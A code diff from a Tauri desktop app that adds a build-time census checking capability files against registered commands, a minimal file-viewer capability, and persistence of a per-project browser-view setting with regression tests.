//! top-level `*.json`, a `webviews`/`remote` key, `app.security.capabilities` in a tauri config
|
||||
//! or `TAURI_CONFIG`, and any hand-written file under `permissions/`.
|
||||
//!
|
||||
//! The parser and the rules live in `src/command_census.rs`, which `cargo test` also compiles,
|
||||
//! so they have unit tests. Spec: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md`.
|
||||
|
||||
#[path = "src/command_census.rs"]
|
||||
mod command_census;
|
||||
|
||||
use std::path::Path;
|
||||
|
||||
/// Stops the build. `what` names the check that failed, so a malformed capability file, a
|
||||
/// stray entry or a hand-written permission does not read as a grant/handler mismatch.
|
||||
fn fail(what: &str, problems: &[String], hint: &str) -> ! {
|
||||
eprintln!();
|
||||
eprintln!(
|
||||
"{what} ({} problem{}):",
|
||||
problems.len(),
|
||||
if problems.len() == 1 { "" } else { "s" }
|
||||
);
|
||||
for p in problems {
|
||||
eprintln!(" - {p}");
|
||||
}
|
||||
eprintln!();
|
||||
eprintln!("{hint}");
|
||||
eprintln!();
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
const LAYOUT_HINT: &str = "Every capability is a top-level capabilities/*.json file with a \
|
||||
`windows` list and no `webviews` or `remote`, and no capability is declared anywhere else \
|
||||
(tauri.conf.json, TAURI_CONFIG, subdirectories, .toml/.json5). The census in \
|
||||
src/command_census.rs can only vouch for what it reads.";
|
||||
|
||||
fn file_name(path: &Path) -> String {
|
||||
path.file_name()
|
||||
.expect("a directory entry has a file name")
|
||||
.to_string_lossy()
|
||||
.into_owned()
|
||||
}
|
||||
|
||||
fn main() {
|
||||
// tauri-build already emits rerun-if-changed for `capabilities`, `permissions` and the
|
||||
// tauri config files, and rerun-if-env-changed for TAURI_CONFIG.
|
||||
println!("cargo:rerun-if-changed=src/lib.rs");
|
||||
println!("cargo:rerun-if-changed=src/command_census.rs");
|
||||
|
||||
let lib_rs = std::fs::read_to_string("src/lib.rs")
|
||||
.expect("build.rs runs with CWD = src-tauri, so src/lib.rs must be readable");
|
||||
let Some(commands) = command_census::registered_commands(&lib_rs) else {
|
||||
fail(
|
||||
"missing generate_handler! block",
|
||||
&["src/lib.rs has no `generate_handler![ … ])` block to derive the AppManifest from"
|
||||
.to_string()],
|
||||
"build.rs derives the AppManifest from that block; see src/command_census.rs.",
|
||||
);
|
||||
};
|
||||
|
||||
check_tauri_config();
|
||||
let files = read_capabilities();
|
||||
|
||||
let problems = command_census::check(&commands, &files);
|
||||
if !problems.is_empty() {
|
||||
fail(
|
||||
"capabilities do not match generate_handler!",
|
||||
&problems,
|
||||
"Every app command needs exactly one bare `allow-<command-with-dashes>` grant: \
|
||||
`viewer_*` commands in capabilities/file-viewer.json, everything else in \
|
||||
capabilities/default.json. See src/command_census.rs.",
|
||||
);
|
||||
}
|
||||
|
||||
prune_permissions(&commands);
|
||||
|
||||
// `AppManifest::commands` takes `&'static [&'static str]` and the struct is `Copy`, so
|
||||
// there is no owned form; leaking is fine in a process that exits right after.
|
||||
let leaked: Vec<&'static str> = commands
|
||||
.into_iter()
|
||||
.map(|c| &*Box::leak(c.into_boxed_str()))
|
||||
.collect();
|
||||
let leaked: &'static [&'static str] = Box::leak(leaked.into_boxed_slice());
|
||||
let attributes = tauri_build::Attributes::new()
|
||||
.app_manifest(tauri_build::AppManifest::new().commands(leaked));
|
||||
if let Err(error) = tauri_build::try_build(attributes) {
|
||||
// Same shape as `tauri_build::build()`: message on stdout, then exit 1.
|
||||
println!("{error:#}");
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// tauri-build writes `permissions/autogenerated/<command>.toml` for every manifest command
|
||||
/// and never deletes one, so a command removed from `lib.rs` would leave a permission a
|
||||
/// capability could still reference (and the build would pass). Delete only the stale files:
|
||||
/// tauri-build also emits `rerun-if-changed=permissions`, so regenerating everything would
|
||||
/// touch every mtime and re-run this script — and recompile the crate — on every cargo
|
||||
/// invocation. Anything else under `permissions/` is a hand-written grant the census cannot
|
||||
/// see, so it is refused — except OS/editor junk (`.DS_Store`, swap files), which tauri never
|
||||
/// loads and which is skipped (see `command_census::is_os_junk`).
|
||||
fn prune_permissions(commands: &[String]) {
|
||||
let root = Path::new("permissions");
|
||||
let Ok(entries) = std::fs::read_dir(root) else {
|
||||
return;
|
||||
};
|
||||
for entry in entries {
|
||||
let path = entry.expect("readable entry in permissions/").path();
|
||||
if path.is_file() && command_census::is_os_junk(&file_name(&path)) {
|
||||
// .DS_Store and friends: tauri never loads them, so they cannot grant anything.
|
||||
continue;
|
||||
}
|
||||
if path.file_name().is_some_and(|n| n == "autogenerated") && path.is_dir() {
|
||||
for file in std::fs::read_dir(&path).expect("readable permissions/autogenerated") {
|
||||
let file = file.expect("readable entry").path();
|
||||
let stem = file.file_stem().and_then(|s| s.to_str()).unwrap_or("");
|
||||
let live = file.extension().is_some_and(|e| e == "toml")
|
||||
&& commands.iter().any(|c| c == stem);
|
||||
if !live {
|
||||
std::fs::remove_file(&file)
|
||||
.unwrap_or_else(|e| panic!("cannot delete stale {}: {e}", file.display()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
fail(
|
||||
"hand-written permission",
|
||||
&[format!(
|
||||
"{} is not generated by build.rs; hand-written permissions are not allowed \
|
||||
(every grant is a bare allow-* string in a capability file)",
|
||||
path.display()
|
||||
)],
|
||||
"permissions/ holds only build.rs's autogenerated/ directory. Delete the entry; \
|
||||
an app command is granted by listing allow-<command> in a capability file.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Every capability tauri will load, read the way the census reads it — or the build stops.
|
||||
/// tauri-build loads `capabilities/**/*.{json,toml,json5}`; the census reads only top-level
|
||||
/// `*.json`, so anything else tauri could load is refused rather than granted unchecked.
|
||||
fn read_capabilities() -> Vec<command_census::CapabilityFile> {
|
||||
let mut files = Vec::new();
|
||||
let mut stray = Vec::new();
|
||||
let mut invalid = Vec::new();
|
||||
for entry in std::fs::read_dir("capabilities").expect("capabilities/ must exist") {
|
||||
let path = entry.expect("readable entry in capabilities/").path();
|
||||
let name = file_name(&path);
|
||||
let is_file = path.is_file();
|
||||
if is_file && command_census::is_os_junk(&name) {
|
||||
continue;
|
||||
}
|
||||
if let Some(problem) = command_census::stray_capability_entry(&name, is_file) {
|
||||
stray.push(problem);
|
||||
continue;
|
||||
}
|
||||
let json = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
match command_census::capability_file(&name, &json) {
|
||||
Ok(file) => files.push(file),
|
||||
Err(problem) => invalid.push(problem),
|
||||
}
|
||||
}
|
||||
stray.sort();
|
||||
if !stray.is_empty() {
|
||||
fail("stray entry in capabilities/", &stray, LAYOUT_HINT);
|
||||
}
|
||||
invalid.sort();
|
||||
if !invalid.is_empty() {
|
||||
fail("invalid capability file", &invalid, LAYOUT_HINT);
|
||||
}
|
||||
files.sort_by(|a, b| a.name.cmp(&b.name));
|
||||
files
|
||||
}
|
||||
|
||||
/// tauri also takes capabilities inline from `app.security.capabilities` in any of its config
|
||||
/// files, or from the `TAURI_CONFIG` JSON that tauri-build merges over them. The census cannot
|
||||
/// see those, so they are refused; so is a config in a format it cannot read (JSON5, TOML).
|
||||
fn check_tauri_config() {
|
||||
let mut problems = Vec::new();
|
||||
for entry in std::fs::read_dir(".").expect("readable src-tauri/") {
|
||||
let path = entry.expect("readable entry in src-tauri/").path();
|
||||
let name = file_name(&path);
|
||||
match command_census::tauri_config_file(&name) {
|
||||
None => {}
|
||||
Some(false) => problems.push(format!(
|
||||
"{name}: the census reads JSON tauri configs only; a JSON5/TOML config could \
|
||||
declare capabilities it cannot see"
|
||||
)),
|
||||
Some(true) => {
|
||||
let json =
|
||||
std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
problems.extend(command_census::tauri_config_problem(&name, &json));
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Ok(json) = std::env::var("TAURI_CONFIG") {
|
||||
problems.extend(command_census::tauri_config_problem("TAURI_CONFIG", &json));
|
||||
}
|
||||
problems.sort();
|
||||
if !problems.is_empty() {
|
||||
fail("capabilities declared outside capabilities/", &problems, LAYOUT_HINT);
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"identifier": "file-viewer",
|
||||
"description": "The terminal file viewer windows (`file-viewer-<n>`, opened by `open_file_viewer` on the app's own `viewer.html`). Same rules as `default.json`, including the layout checks: this file itself must stay a top-level `capabilities/*.json` with no `webviews` or `remote` key, or `build.rs` refuses the build rather than grant something the census cannot see. The five bare `allow-viewer-*` grants are the only app commands a viewer window can invoke: `build.rs` declares the AppManifest that makes tauri enforce that, and refuses any other bare grant in this file. The label gate inside `commands/file_viewer_commands.rs` is still what stops window A acting on window B's registry entry, because the ACL only decides which window may call. The rest of this file is the plugin-command surface a compromised viewer webview could reach, and it is the smallest one that lets the window work. `core:event:allow-listen`/`allow-unlisten` are for `file-viewer-goto` (Rust → this window; the viewer subscribes through `getCurrentWindow().listen`, because a bare `listen()` in *any* window receives an `emit_to`). `core:window:allow-destroy` is not optional: `getCurrentWindow().onCloseRequested` in @tauri-apps/api 2.11 makes Rust `prevent_close()` whenever a JS listener exists and then calls `destroy()` itself, so without this grant the window's X button does nothing once the unsaved-changes guard is installed. `allow-close` is deliberately absent — nothing calls it, and `destroy` is the only exit. No `set-title`/`set-focus`/`unminimize`: those are done from Rust when a second click targets an already-open file. `core:webview:allow-internal-toggle-devtools` is the same dev-only convenience `default.json` carries.",
|
||||
"windows": ["file-viewer-*"],
|
||||
"permissions": [
|
||||
"core:event:allow-listen",
|
||||
"core:event:allow-unlisten",
|
||||
"core:window:allow-destroy",
|
||||
"core:webview:allow-internal-toggle-devtools",
|
||||
"allow-viewer-get-state",
|
||||
"allow-viewer-choose-file",
|
||||
"allow-viewer-read-file",
|
||||
"allow-viewer-poll-file",
|
||||
"allow-viewer-write-file"
|
||||
]
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -15,6 +15,12 @@ use crate::AppState;
|
||||
/// non-`Running` status carrying an explanation rather than an error, so the
|
||||
/// pane always has something specific to say. This is host-side only — no
|
||||
/// container recreation is involved either way.
|
||||
///
|
||||
/// Either way the choice is persisted, so it survives an app restart. This is
|
||||
/// the only caller allowed to write `false`: every other path to
|
||||
/// [`BrowserViewManager::stop`](crate::browser_view::BrowserViewManager::stop)
|
||||
/// is a teardown rather than the user changing their mind. Enabling persists
|
||||
/// inside `start`, which is the single funnel for it.
|
||||
#[tauri::command]
|
||||
pub async fn set_browser_view_enabled(
|
||||
project_id: String,
|
||||
@@ -23,9 +29,32 @@ pub async fn set_browser_view_enabled(
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<BrowserViewStatus, String> {
|
||||
if !enabled {
|
||||
// Persist first, then tear down: the supervisor's own teardown emit
|
||||
// reads this flag back out of the store, and reading it mid-stop would
|
||||
// announce a view that is going away as still enabled.
|
||||
//
|
||||
// But the write's outcome is a *value*, not a branch. A `?` here meant
|
||||
// that a store with no such project record returned early and
|
||||
// `manager().stop()` never ran, leaving the supervisor, the proxy and
|
||||
// the host port up for a project that, as far as the user is concerned,
|
||||
// just had its view switched off. That state is not hypothetical while
|
||||
// a session is live — the supervisor's own `store.get()` check in
|
||||
// [`crate::browser_view`] exists because a record can go away
|
||||
// underneath it — and before the flag was persisted at all, turning the
|
||||
// view off always tore the session down.
|
||||
let persisted = state
|
||||
.projects_store
|
||||
.set_browser_view_enabled(&project_id, false);
|
||||
// Awaits the supervisor, so the host port is released before we return.
|
||||
manager().stop(&project_id).await;
|
||||
return Ok(manager().status(&project_id).await);
|
||||
//
|
||||
// A failed write is still reported rather than logged and swallowed.
|
||||
// The resources are gone either way by this point, so surfacing it
|
||||
// costs nothing that matters, and the failure it describes is one the
|
||||
// user needs: the stored flag still says *enabled*, so the view comes
|
||||
// back by itself on the next launch. Returning `Ok` would be a claim
|
||||
// about persistence that isn't true.
|
||||
tear_down_then_report(persisted, manager().stop(&project_id)).await?;
|
||||
return Ok(manager().status(&project_id, false).await);
|
||||
}
|
||||
|
||||
let container_id = running_container(&state, &project_id, "opening the browser view").await?;
|
||||
@@ -40,10 +69,31 @@ pub async fn set_browser_view_enabled(
|
||||
.await
|
||||
}
|
||||
|
||||
/// Current status. Cheap: reads in-process state only, never the container.
|
||||
/// Await `teardown`, then report `persisted`.
|
||||
///
|
||||
/// Trivial on purpose, and split out for one reason: it is the whole rule the
|
||||
/// disable path of [`set_browser_view_enabled`] has to obey — the teardown is
|
||||
/// unconditional, and a failed persist surfaces only after it has run — and as
|
||||
/// a free function that rule can be tested without a live `AppState`.
|
||||
async fn tear_down_then_report(
|
||||
persisted: Result<(), String>,
|
||||
teardown: impl std::future::Future<Output = ()>,
|
||||
) -> Result<(), String> {
|
||||
teardown.await;
|
||||
persisted
|
||||
}
|
||||
|
||||
/// Current status. Cheap: the session map in this process plus the stored flag,
|
||||
/// never the container.
|
||||
///
|
||||
/// The two are independent on purpose — this is what the pane reads on mount,
|
||||
/// and after an app restart the honest answer is "enabled, nothing running".
|
||||
#[tauri::command]
|
||||
pub async fn get_browser_view_status(project_id: String) -> Result<BrowserViewStatus, String> {
|
||||
Ok(manager().status(&project_id).await)
|
||||
pub async fn get_browser_view_status(
|
||||
project_id: String,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<BrowserViewStatus, String> {
|
||||
Ok(manager().status(&project_id, enabled_for(&state, &project_id)).await)
|
||||
}
|
||||
|
||||
/// Probe the container for Playwright without starting anything.
|
||||
@@ -110,7 +160,9 @@ pub async fn open_browser_view_popout(
|
||||
app_handle: AppHandle,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<(), String> {
|
||||
let status = manager().status(&project_id).await;
|
||||
let status = manager()
|
||||
.status(&project_id, enabled_for(&state, &project_id))
|
||||
.await;
|
||||
let (BrowserViewState::Running, Some(url)) = (status.state, status.url.as_deref()) else {
|
||||
return Err(
|
||||
"The browser view isn't running. Start it before opening it in its own window."
|
||||
@@ -209,7 +261,9 @@ pub async fn open_page_in_container_browser(
|
||||
// the user to go and press Start in the Browser tab themselves — and from
|
||||
// the terminal's URL prompt, with no indication that was even needed.
|
||||
// Asking for a page *is* asking to watch it, so the viewer comes up too.
|
||||
let status = manager().status(&project_id).await;
|
||||
let status = manager()
|
||||
.status(&project_id, enabled_for(&state, &project_id))
|
||||
.await;
|
||||
if status.state != BrowserViewState::Running {
|
||||
crate::commands::project_commands::emit_progress(
|
||||
&app_handle,
|
||||
@@ -229,7 +283,9 @@ pub async fn open_page_in_container_browser(
|
||||
// From the terminal there is no pane on screen to fill, so the page needs a
|
||||
// window of its own or it lands somewhere the user isn't looking.
|
||||
if show_window {
|
||||
let status = manager().status(&project_id).await;
|
||||
let status = manager()
|
||||
.status(&project_id, enabled_for(&state, &project_id))
|
||||
.await;
|
||||
if let Some(url) = status.url.as_deref() {
|
||||
let name = state
|
||||
.projects_store
|
||||
@@ -311,6 +367,20 @@ pub async fn get_browser_view_match_window(project_id: String) -> Result<bool, S
|
||||
Ok(popout::match_window(&project_id))
|
||||
}
|
||||
|
||||
/// The project's stored browser-view opt-in.
|
||||
///
|
||||
/// The manager holds no copy of this — see
|
||||
/// [`BrowserViewManager`](crate::browser_view::BrowserViewManager) — so every
|
||||
/// status call reads it here, the way `get_auth_bridge_status` does. A project
|
||||
/// that has gone away reads as off, which is the only answer that can be given
|
||||
/// about a record that no longer exists.
|
||||
fn enabled_for(state: &State<'_, AppState>, project_id: &str) -> bool {
|
||||
state
|
||||
.projects_store
|
||||
.get(project_id)
|
||||
.is_some_and(|p| p.browser_view_enabled)
|
||||
}
|
||||
|
||||
/// The project's container, or a sentence saying why there isn't one.
|
||||
///
|
||||
/// Every command here needs a *running* container, and every one of them used
|
||||
@@ -344,3 +414,43 @@ async fn running_container(
|
||||
}
|
||||
Ok(container_id)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
/// The regression: turning the view off must not leave the supervisor, the
|
||||
/// proxy and the host port running just because the project record could
|
||||
/// not be written — which is exactly what a missing record did.
|
||||
#[tokio::test]
|
||||
async fn a_failed_persist_does_not_skip_the_teardown() {
|
||||
let torn_down = AtomicBool::new(false);
|
||||
let result = tear_down_then_report(Err("Project x not found".to_string()), async {
|
||||
torn_down.store(true, Ordering::SeqCst);
|
||||
})
|
||||
.await;
|
||||
|
||||
assert!(
|
||||
torn_down.load(Ordering::SeqCst),
|
||||
"the session must be torn down even when the store write failed"
|
||||
);
|
||||
assert_eq!(
|
||||
result.err().as_deref(),
|
||||
Some("Project x not found"),
|
||||
"and the write failure must still reach the caller, not be swallowed"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn a_successful_persist_reports_success_after_the_teardown() {
|
||||
let torn_down = AtomicBool::new(false);
|
||||
let result = tear_down_then_report(Ok(()), async {
|
||||
torn_down.store(true, Ordering::SeqCst);
|
||||
})
|
||||
.await;
|
||||
|
||||
assert!(torn_down.load(Ordering::SeqCst));
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -34,14 +34,22 @@
|
||||
//!
|
||||
//! ## Lifecycle
|
||||
//!
|
||||
//! Off by default and per-project opt-in, exactly like `auth_bridge_enabled`.
|
||||
//! Off by default and per-project opt-in. The opt-in itself is
|
||||
//! [`Project::browser_view_enabled`](crate::models::Project), persisted like
|
||||
//! `auth_bridge_enabled` and read from the store on demand rather than cached
|
||||
//! here — so the pane comes back the way it was left. What does *not* persist
|
||||
//! is the session: nothing starts a viewer on app start, so a project left
|
||||
//! enabled reports `enabled: true` with a state of `Off` until the pane asks
|
||||
//! for one. That is deliberate, and the reason the flag and the session are
|
||||
//! separate ideas — see [`BrowserViewManager::status`].
|
||||
//!
|
||||
//! One supervisor task per session owns the proxy and the viewer process, and it
|
||||
//! is the only thing that tears them down, so every way a session can end funnels
|
||||
//! through one code path:
|
||||
//!
|
||||
//! | Trigger | Path |
|
||||
//! |---|---|
|
||||
//! | Turned off in the UI | `set_browser_view_enabled(false)` → [`BrowserViewManager::stop`] |
|
||||
//! | Turned off in the UI | `set_browser_view_enabled(false)` → persist `false`, then [`BrowserViewManager::stop`] |
|
||||
//! | Container stopped, by the UI or otherwise | supervisor's `is_container_running` check |
|
||||
//! | Project deleted | supervisor's `store.get()` check |
|
||||
//! | Container rebuilt | old container stops → supervisor exits; the new one is not auto-started |
|
||||
@@ -59,7 +67,10 @@
|
||||
//! orphan is reachable on container loopback only: the host-side port dies with
|
||||
//! the app, and [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`] is a constant
|
||||
//! precisely so the bridge will not mirror an orphan the next time the app
|
||||
//! starts. The next [`BrowserViewManager::start`] reclaims it.
|
||||
//! starts. The next [`BrowserViewManager::start`] reclaims it — and since the
|
||||
//! opt-in is now durable, the restarted app says `enabled` with nothing running,
|
||||
//! which is exactly the state that invites the user to press the button that
|
||||
//! reclaims it. Nothing reclaims it on its own, because nothing auto-starts.
|
||||
|
||||
pub mod commands;
|
||||
pub mod detect;
|
||||
@@ -134,7 +145,10 @@ pub enum BrowserViewState {
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct BrowserViewStatus {
|
||||
/// The per-project opt-in. Off by default.
|
||||
/// The per-project opt-in, read from the persisted project record. Off by
|
||||
/// default, and true without a `Running` state whenever the view is turned
|
||||
/// on but has nothing up — a stopped container, or an app that has just
|
||||
/// restarted and does not auto-start viewers.
|
||||
pub enabled: bool,
|
||||
pub state: BrowserViewState,
|
||||
/// Fully-formed, token-bearing URL for the pane's iframe. Loopback only.
|
||||
@@ -201,17 +215,20 @@ struct Session {
|
||||
|
||||
type SessionMap = Arc<Mutex<HashMap<String, Session>>>;
|
||||
|
||||
/// Live sessions, and nothing else.
|
||||
///
|
||||
/// The per-project opt-in deliberately is **not** a field here. It lives on
|
||||
/// the project record as
|
||||
/// [`browser_view_enabled`](crate::models::Project::browser_view_enabled) and
|
||||
/// is read from [`ProjectsStore`] at each use, exactly as
|
||||
/// [`crate::auth_bridge::AuthBridgeManager`] treats `auth_bridge_enabled`:
|
||||
/// one copy, durable across a restart, and impossible to get out of step with
|
||||
/// what the Config tab shows. A cached copy here was the previous design and
|
||||
/// its only observable behaviour was forgetting the user's choice on every
|
||||
/// app start.
|
||||
#[derive(Default)]
|
||||
pub struct BrowserViewManager {
|
||||
sessions: SessionMap,
|
||||
/// The per-project opt-in.
|
||||
///
|
||||
/// NOTE: in memory only, so it does not survive an app restart. The durable
|
||||
/// home for this is a `browser_view_enabled: bool` field on
|
||||
/// `models::Project` (see the report) — `models/project.rs` is out of scope
|
||||
/// for this change, so the flag lives here and the wiring is otherwise
|
||||
/// identical to `auth_bridge_enabled`.
|
||||
enabled: Mutex<std::collections::HashSet<String>>,
|
||||
next_epoch: AtomicU64,
|
||||
}
|
||||
|
||||
@@ -226,22 +243,15 @@ pub fn manager() -> &'static Arc<BrowserViewManager> {
|
||||
}
|
||||
|
||||
impl BrowserViewManager {
|
||||
pub async fn is_enabled(&self, project_id: &str) -> bool {
|
||||
self.enabled.lock().await.contains(project_id)
|
||||
}
|
||||
|
||||
async fn set_enabled(&self, project_id: &str, enabled: bool) {
|
||||
let mut set = self.enabled.lock().await;
|
||||
if enabled {
|
||||
set.insert(project_id.to_string());
|
||||
} else {
|
||||
set.remove(project_id);
|
||||
}
|
||||
}
|
||||
|
||||
/// Current status without touching the container.
|
||||
pub async fn status(&self, project_id: &str) -> BrowserViewStatus {
|
||||
let enabled = self.is_enabled(project_id).await;
|
||||
///
|
||||
/// `enabled` is passed in rather than looked up, the way
|
||||
/// [`crate::auth_bridge::AuthBridgeManager::status`] takes it: the flag is
|
||||
/// the caller's to read from the store, and keeping it out of here is what
|
||||
/// stops a second copy of it appearing. A project whose view is enabled but
|
||||
/// whose container is stopped — or whose app has just restarted — reports
|
||||
/// `enabled: true` with a state of `Off`, which is the honest answer.
|
||||
pub async fn status(&self, project_id: &str, enabled: bool) -> BrowserViewStatus {
|
||||
match self.sessions.lock().await.get(project_id) {
|
||||
Some(session) => BrowserViewStatus {
|
||||
enabled,
|
||||
@@ -261,6 +271,14 @@ impl BrowserViewManager {
|
||||
///
|
||||
/// Idempotent: a call while a live session exists returns that session's
|
||||
/// status untouched, so re-opening the tab does not restart the dashboard.
|
||||
///
|
||||
/// This is the single funnel for turning the view **on**, so it is also
|
||||
/// where the durable flag is written — both call sites (the toggle and
|
||||
/// `open_page_in_container_browser`, which opens a page and then shows it)
|
||||
/// mean "on", and neither can forget. The **off** direction is not
|
||||
/// symmetric and must not be: [`Self::stop`] is reached by teardown paths
|
||||
/// that are not the user changing their mind, so the command owns that
|
||||
/// write. See [`Self::stop`].
|
||||
pub async fn start(
|
||||
&self,
|
||||
project_id: String,
|
||||
@@ -268,7 +286,7 @@ impl BrowserViewManager {
|
||||
app: AppHandle,
|
||||
store: Arc<ProjectsStore>,
|
||||
) -> Result<BrowserViewStatus, String> {
|
||||
self.set_enabled(&project_id, true).await;
|
||||
store.set_browser_view_enabled(&project_id, true)?;
|
||||
|
||||
// Bind the answer before acting on it: `status()` takes the same lock,
|
||||
// and this mutex is not reentrant.
|
||||
@@ -279,7 +297,7 @@ impl BrowserViewManager {
|
||||
.get(&project_id)
|
||||
.is_some_and(|s| !s.supervisor.is_finished());
|
||||
if already_live {
|
||||
return Ok(self.status(&project_id).await);
|
||||
return Ok(self.status(&project_id, true).await);
|
||||
}
|
||||
|
||||
let detection = detect::detect(&container_id).await?;
|
||||
@@ -364,14 +382,21 @@ impl BrowserViewManager {
|
||||
},
|
||||
);
|
||||
|
||||
let status = self.status(&project_id).await;
|
||||
let status = self.status(&project_id, true).await;
|
||||
emit(&app, &project_id, &status);
|
||||
Ok(status)
|
||||
}
|
||||
|
||||
/// Stop one project's view and wait until its host port has been released.
|
||||
///
|
||||
/// Tears the *session* down and deliberately leaves the durable flag alone.
|
||||
/// Most callers are not the user turning the feature off — a migration
|
||||
/// removes the container out from under a running view
|
||||
/// (`migration_commands`), and the container can stop for any other reason
|
||||
/// — and persisting `false` for those would quietly opt the project out of
|
||||
/// a feature it never asked to lose. `set_browser_view_enabled(false)` is
|
||||
/// the one caller that means it, and it writes the flag itself first.
|
||||
pub async fn stop(&self, project_id: &str) {
|
||||
self.set_enabled(project_id, false).await;
|
||||
// Remove under the lock, then release it before awaiting: the
|
||||
// supervisor takes the same lock to deregister itself on exit.
|
||||
let session = self.sessions.lock().await.remove(project_id);
|
||||
@@ -483,7 +508,12 @@ async fn supervise(
|
||||
// longer exists. The session owns it, and this is where the session ends.
|
||||
let _ = popout::close(&app, &project_id);
|
||||
|
||||
let enabled = manager().is_enabled(&project_id).await;
|
||||
// Straight from the store, like the auth bridge's own teardown emit: the
|
||||
// session is over, but the project may well still be opted in — a stopped
|
||||
// container is not a changed mind, and the pane has to show the difference.
|
||||
let enabled = store
|
||||
.get(&project_id)
|
||||
.is_some_and(|p| p.browser_view_enabled);
|
||||
emit(&app, &project_id, &BrowserViewStatus::off(enabled));
|
||||
}
|
||||
|
||||
@@ -915,6 +945,25 @@ mod tests {
|
||||
assert!(s.url.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn the_opt_in_and_the_live_session_are_separate_answers() {
|
||||
let manager = BrowserViewManager::default();
|
||||
|
||||
// Exactly what the pane reads on mount after an app restart of a
|
||||
// project that was left enabled: the durable flag says on, and nothing
|
||||
// auto-starts, so the state is honestly `Off`. The old in-memory flag
|
||||
// could not express this — it came back `false` and the pane silently
|
||||
// showed the feature as never having been turned on.
|
||||
let status = manager.status("p1", true).await;
|
||||
assert!(status.enabled);
|
||||
assert_eq!(status.state, BrowserViewState::Off);
|
||||
assert!(status.url.is_none());
|
||||
|
||||
// The flag belongs to the caller, read from the store. The manager
|
||||
// keeps no copy, so it has nothing to contradict it with.
|
||||
assert!(!manager.status("p1", false).await.enabled);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unavailable_status_keeps_the_detail_the_user_needs() {
|
||||
let mut d = PlaywrightDetection::default();
|
||||
|
||||
@@ -0,0 +1,581 @@
|
||||
//! The command census shared by `build.rs` and the `cargo test` suite.
|
||||
//!
|
||||
//! `build.rs` pulls this file in with `#[path = "src/command_census.rs"]` and `lib.rs` with
|
||||
//! `#[cfg(test)] mod command_census;`, so the parser that decides what the Tauri `AppManifest`
|
||||
//! declares is the parser the tests exercise, and the rules that decide whether the build
|
||||
//! passes have unit tests. Nothing here may reference the crate: only `std` and `serde_json`
|
||||
//! (a dependency of both the crate and the build script).
|
||||
//!
|
||||
//! Spec: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md` §3.2.
|
||||
|
||||
use std::collections::{BTreeMap, BTreeSet};
|
||||
|
||||
/// The command names inside `generate_handler![ … ])` in `lib.rs`, in registration order,
|
||||
/// duplicates kept (the caller decides whether that is an error). `None` if the block is
|
||||
/// missing or unterminated.
|
||||
///
|
||||
/// Comma-split, not line-split: `// Docker` style comments are stripped from every line first
|
||||
/// (a whole-line comment strips to nothing; a trailing one leaves the code before it), and the
|
||||
/// *cleaned* text is then split on `,` so each grant is its own item regardless of how many
|
||||
/// share a line. A line-split version of this parser shipped first and used
|
||||
/// `rsplit("::").next()` once *per line*: two commands on one line (`a::x, b::y,`) collapsed to
|
||||
/// a single item, silently dropping `a::x` — a denied command at runtime with nothing flagging
|
||||
/// it. Comma-splitting fixes that because it no longer assumes one item per line.
|
||||
pub fn registered_commands(lib_rs: &str) -> Option<Vec<String>> {
|
||||
let (_, rest) = lib_rs.split_once("generate_handler![")?;
|
||||
let (inside, _) = rest.split_once("])")?;
|
||||
let cleaned: String = inside
|
||||
.lines()
|
||||
// Strip a trailing `//` comment (and a whole-line one, which strips to "").
|
||||
.map(|l| l.split("//").next().unwrap_or(""))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
Some(
|
||||
cleaned
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|s| !s.is_empty())
|
||||
.filter_map(|s| {
|
||||
// `a::b::name` → `name`; a bare `name` (no `::`) is its own last segment.
|
||||
s.rsplit("::").next().map(|n| n.trim().to_string())
|
||||
})
|
||||
.filter(|n| !n.is_empty())
|
||||
.collect(),
|
||||
)
|
||||
}
|
||||
|
||||
/// `viewer_read_file` → `allow-viewer-read-file`. tauri-utils 2.9.0 (`acl/build.rs:290`)
|
||||
/// replaces only `_`; permission identifiers may not contain `_`, but the command name inside
|
||||
/// the generated permission stays snake_case.
|
||||
pub fn allow_permission(command: &str) -> String {
|
||||
format!("allow-{}", command.replace('_', "-"))
|
||||
}
|
||||
|
||||
/// The `windows` list of the one capability file that may grant `command`. A command that
|
||||
/// must be callable from both windows is a design change: make it here, visibly, rather than
|
||||
/// by widening a capability file.
|
||||
pub fn expected_windows(command: &str) -> &'static [&'static str] {
|
||||
if command.starts_with("viewer_") {
|
||||
&["file-viewer-*"]
|
||||
} else {
|
||||
&["main"]
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct CapabilityFile {
|
||||
pub name: String,
|
||||
pub windows: Vec<String>,
|
||||
pub bare: Vec<String>,
|
||||
}
|
||||
|
||||
/// One `capabilities/*.json`, reduced to what the census checks. Plugin and core grants
|
||||
/// (anything with a `:`) are not this module's business; the exact-set tests in `lib.rs` and
|
||||
